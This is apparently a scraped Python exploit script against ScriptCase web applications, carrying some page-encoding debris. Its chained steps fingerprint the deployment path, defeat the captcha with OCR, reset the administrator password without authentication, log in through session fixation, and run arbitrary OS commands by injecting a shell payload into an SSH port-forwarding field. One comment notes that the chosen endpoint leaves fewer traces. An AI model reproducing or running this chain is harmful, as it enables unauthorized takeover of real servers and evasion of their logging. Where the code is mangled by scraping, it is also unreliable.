# Clean image + OCR \n def process_image(input_image, output_image_path=None): \n # Open the image \n img = Image.open(io.BytesIO(input_image))<\/p>\n
# Convert the image to RGB (in case it’s in a different mode) \n img = img.convert(‘RGB’)<\/p>\n
# Load the pixel data \n pixels = img.load()<\/p>\n
# Get the dimensions of the image \n width, height = img.size<\/p>\n
# Process each pixel \n for y in range(height): \n for x in range(width): \n r, g, b = pixels[x, y] \n # Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white) \n if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255): \n pixels[x, y] = (211, 211, 211) # Change the pixel to light grey \n elif (r, g, b) == (255, 255, 255): # Change white text in black text \n pixels[x, y] = (0, 0, 0) # Change the pixel to black<\/p>\n
# Use Tesseract to convert the image to text \n # psm 6 or 8 work best \n # limit alphabet \n # disable word optimized detection https:\/\/github.com\/tesseract-ocr\/tessdoc\/blob\/main\/ImproveQuality.md#dictionaries-word-lists-and-patterns \n custom_oem_psm_config = rf’–psm 8 –oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false –dpi 300′ # there are only uppercase but keep lowercase to avoid false negative \n text = pytesseract.image_to_string(img, config=custom_oem_psm_config) \n return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added<\/p>\n
# Step 1: Set is_page to true on the session \n def prepare_session(url_base, cookies): \n res = requests.get( \n f'{url_base}\/prod\/lib\/php\/devel\/iface\/login.php’, \n cookies=cookies, \n verify=False \n ) \n if res.status_code == 200: \n print(“[+] Session prepared”) \n else: \n print(f”[-] Failed with status code {res.status_code}”)<\/p>\n
# Random hex string of arbitrary size \n def rand_hex(size): \n return ”.join(random.choice(‘0123456789abcdef’) for _ in range(size))<\/p>\n
# Step 2: Get a captcha challenge for the session \n def captcha_session(url_base, cookies): \n res = requests.get( \n f'{url_base}\/prod\/lib\/php\/devel\/lib\/php\/secureimage.php’, \n cookies=cookies, \n verify=False \n ) \n if res.status_code == 200: \n print(“[+] Captcha retrieved”) \n return res.content \n else: \n print(f”[-] Failed with status code {res.status_code}”)<\/p>\n
# Step 3: Change the password with the prepared session \n def reset_password(url_base, cookies, captcha_img, captcha_txt): \n new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9)) \n email = f'{rand_hex(10)}@{rand_hex(8)}.com’ \n data = { \n ‘ajax’: ‘nm’, \n ‘nm_action’: ‘change_pass’, \n ’email’: email, \n ‘pass_new’: new_password, \n ‘pass_conf’: new_password, \n ‘lang’: ‘en-us’, \n ‘captcha’: captcha_txt \n } \n res = requests.post( \n f'{url_base}\/prod\/lib\/php\/devel\/iface\/login.php’, \n data=data, \n cookies=cookies, \n verify=False \n ) \n if res.status_code == 200 and res.text == ‘{“result”:”success”}’: \n print(“[+] Password reset successfully”) \n print(f”[+] The new password is: {new_password}”) \n print(f”[+] The delcared (fake) email address was: {email}”) \n elif res.status_code == 200 and res.text == ‘{“result”:”error”,”message”:”Invalid captcha”}’: \n print(“[-] OCR failed”) \n print(f”[-] Failed captcha submission was {captcha_txt}”) \n img = Image.open(io.BytesIO(captcha_img)) \n img.show() \n manual_input = input(“[+] Input displayed captcha to retry manually: “) \n reset_password(url_base, cookies, captcha_img, manual_input) \n elif res.status_code == 200 and res.text == ‘{“result”:”error”,”message”:”The password is incorrect.”}’: \n print(“[-] Non default password policy”) \n print(“[-] Hardcode a password that matches it”) \n print(f”[-] Failed password is: {new_password}”) \n else: \n print(f”[-] Failed with status code {res.status_code}”) \n print(res.text) \n print(‘[-] Data was:’) \n print(data)<\/p>\n
# Detect the deployment path of ScriptCase and produciton environment from the homepage. \n # E.g. deployment path is \/scriptcase\/ \n # sc_pathToTB variable on http:\/\/10.58.8.213\/ will be ‘\/scriptcase\/prod\/third\/jquery_plugin\/thickbox\/’ \n # ScriptCase login page => http:\/\/10.58.8.213\/scriptcase\/devel\/iface\/login.php \n # Production Environment login page => http:\/\/10.58.8.213\/scriptcase\/prod\/lib\/php\/devel\/iface\/login.php \n def detect_deployment_path(homepage_url): \n res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects) \n if res.status_code == 200: \n print(“[+] Looking for deployment path in JS and computing login paths”) \n reg = r”var sc_pathToTB = ‘(.+)\/prod\/third\/jquery_plugin\/thickbox\/’;” \n match = re.search(reg, res.text) \n # compute URL without path \n parsed_url = urllib.parse.urlparse(homepage_url) \n homepage_root = f”{parsed_url.scheme}:\/\/{parsed_url.netloc}” \n if match: \n base_path = match.group(1) \n print(f”[+] Deployment path found: {base_path}\/”) \n print(f”[+] ScriptCase login page: {homepage_root}{base_path}\/devel\/iface\/login.php (probably not deployed on a production environment)”) \n print(f”[+] Production Environment login page: {homepage_root}{base_path}\/prod\/lib\/php\/devel\/iface\/login.php”) \n else: # either a website not made with ScriptCase or root redirects to the devel page \n js_redirect(res) \n # try to detect the devel\/iface\/login.php page \n reg2 = r’http:\/\/www\\.scriptcase\\.net|doChangeLanguage|str_lang_user_first’ \n match = re.search(reg2, res.text) \n if match: # devel page \n print(f”[?] This may be the development console?”) \n # now try to extract path from favicon \n reg3 = r’\n if match: # base path found \n base_path = match.group(1) \n print(f”[+] Deployment path found: {base_path}\/”) \n print(f”[+] ScriptCase login page: {homepage_root}{base_path}\/devel\/iface\/login.php”) \n print(f”[+] Production Environment login page: {homepage_root}{base_path}\/prod\/lib\/php\/devel\/iface\/login.php”) \n else: # false positive, it’s not devel page \n print(f”[-] Failed to find deployment path, is this site made with ScriptCase?”) \n else: # no ScriptCase detected \n print(“[-] Failed to find deployment path, is this site made with ScriptCase?”) \n else: \n print(f”[-] Failed with status code {res.status_code}”)<\/p>\n
# Try to handle JS redirect else warn and exit \n def js_redirect(res): \n if re.search(r’window\\.location’, res.text): \n print(‘[-] JavaScript redirection detected’) \n print(‘[-] JavaScript redirection not handled (no headless browser with JS engine)’) \n print(f”[-] Returned page is:\\n{res.text}”) \n print(f”[-] Last redirection URL is:\\n{res.url}”) \n match = re.search(r”window\\.location\\s*=\\s*[‘\\”](.+)[‘\\”]”, res.text) \n if match: \n redirect_url = f”{res.url}\/{match.group(1)}” \n print(f”[?] Let’s try again with: {redirect_url}”) \n detect_deployment_path(redirect_url) \n else: \n print(‘Please try again with redirect URL’) \n exit(1)<\/p>\n
# Remote command execution on the system \n # \n # Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it \n # (admin_sys_allconections_test.php) so we leave less traces. \n # Even if the test results in “Connection Error” \/ “Unable to connect”, the command was stil lexecuted. \n def command_injection(url_base, cookies, cmd): \n data = { \n ‘hid_create_connect’: ‘S’, \n ‘dbms’: ‘mysql’, \n ‘conn’: ‘conn_mysql’, \n ‘dbms’: ‘pdo_mysql’, \n ‘host’: ‘127.0.0.1:3306’, \n ‘server’: ‘127.0.0.1’, \n ‘port’: ‘3306’, \n ‘user’: rand_hex(11), \n ‘pass’: rand_hex(8), \n ‘show_table’: ‘Y’, \n ‘show_view’: ‘Y’, \n ‘show_system’: ‘Y’, \n ‘show_procedure’: ‘Y’, \n ‘decimal’: ‘.’, \n ‘use_persistent’: ‘N’, \n ‘use_schema’: ‘N’, \n ‘retrieve_schema’: ‘Y’, \n ‘retrieve_schema’: ‘Y’, \n ‘use_ssh’: ‘Y’, \n ‘ssh_server’: ‘127.0.0.1’, \n ‘ssh_user’: ‘root’, \n ‘ssh_port’: ’22’, \n ‘ssh_localportforwarding’: f’; {cmd};#’, \n ‘ssh_localserver’: ‘127.0.0.1’, \n ‘ssh_localport’: ‘3306’, \n ‘form_create’: form_create(url_base, cookies), \n ‘retornar’: ‘Back’, \n ‘concluir’: ‘Save’, \n ‘confirmar’: ‘Back’, \n ‘voltar’: ‘Confirm’, \n ‘step’: ‘sgdb2’, \n ‘nextstep’: ‘dados_rep’ \n } \n res = requests.post( \n f'{url_base}\/prod\/lib\/php\/devel\/iface\/admin_sys_allconections_test.php’, \n data=data, \n cookies=cookies, \n verify=False \n ) \n if res.status_code == 200: \n print(“[+] Command executed (blind)”) \n else: \n print(f”[-] Failed with status code {res.status_code}”) \n exit(1)<\/p>\n
# Get form_create ID for command_injection() \n def form_create(url_base, cookies): \n res = requests.get( \n f'{url_base}\/prod\/lib\/php\/devel\/iface\/admin_sys_allconections_create_wizard.php’, \n cookies=cookies, \n verify=False \n ) \n if res.status_code == 200: \n print(“[+] Parsing results to find form_create ID”) \n soup = BeautifulSoup(res.text, ‘html.parser’) \n form_create = soup.css.select_one(‘html body.nmPage form input[name=”form_create”]’) \n if form_create: \n form_create_id = form_create.get(‘value’) \n print(f”[+] form_create ID found: {form_create_id}”) \n return form_create_id \n else: \n print(“[-] No form_create ID found”) \n exit(1) \n return res.content \n else: \n print(f”[-] Failed with status code {res.status_code}”) \n exit(1)<\/p>\n
# Handles login \n # \n # Comes with a cookie as there is session fixation (cookie not renewed after login) \n def login(url_base, cookies, password): \n data = { \n ‘option’: ‘login’, \n ‘opt_par’: None, \n ‘hid_login’: ‘S’, \n ‘field_pass’: password, \n ‘field_language’: ‘en-us’ \n } \n res = requests.post( \n f'{url_base}\/prod\/lib\/php\/nm_ini_manager2.php’, \n data=data, \n cookies=cookies, \n verify=False \n ) \n if res.status_code == 200: \n print(“[+] Authentication successful”) \n else: \n print(“[-] Authentication failed”)<\/p>\n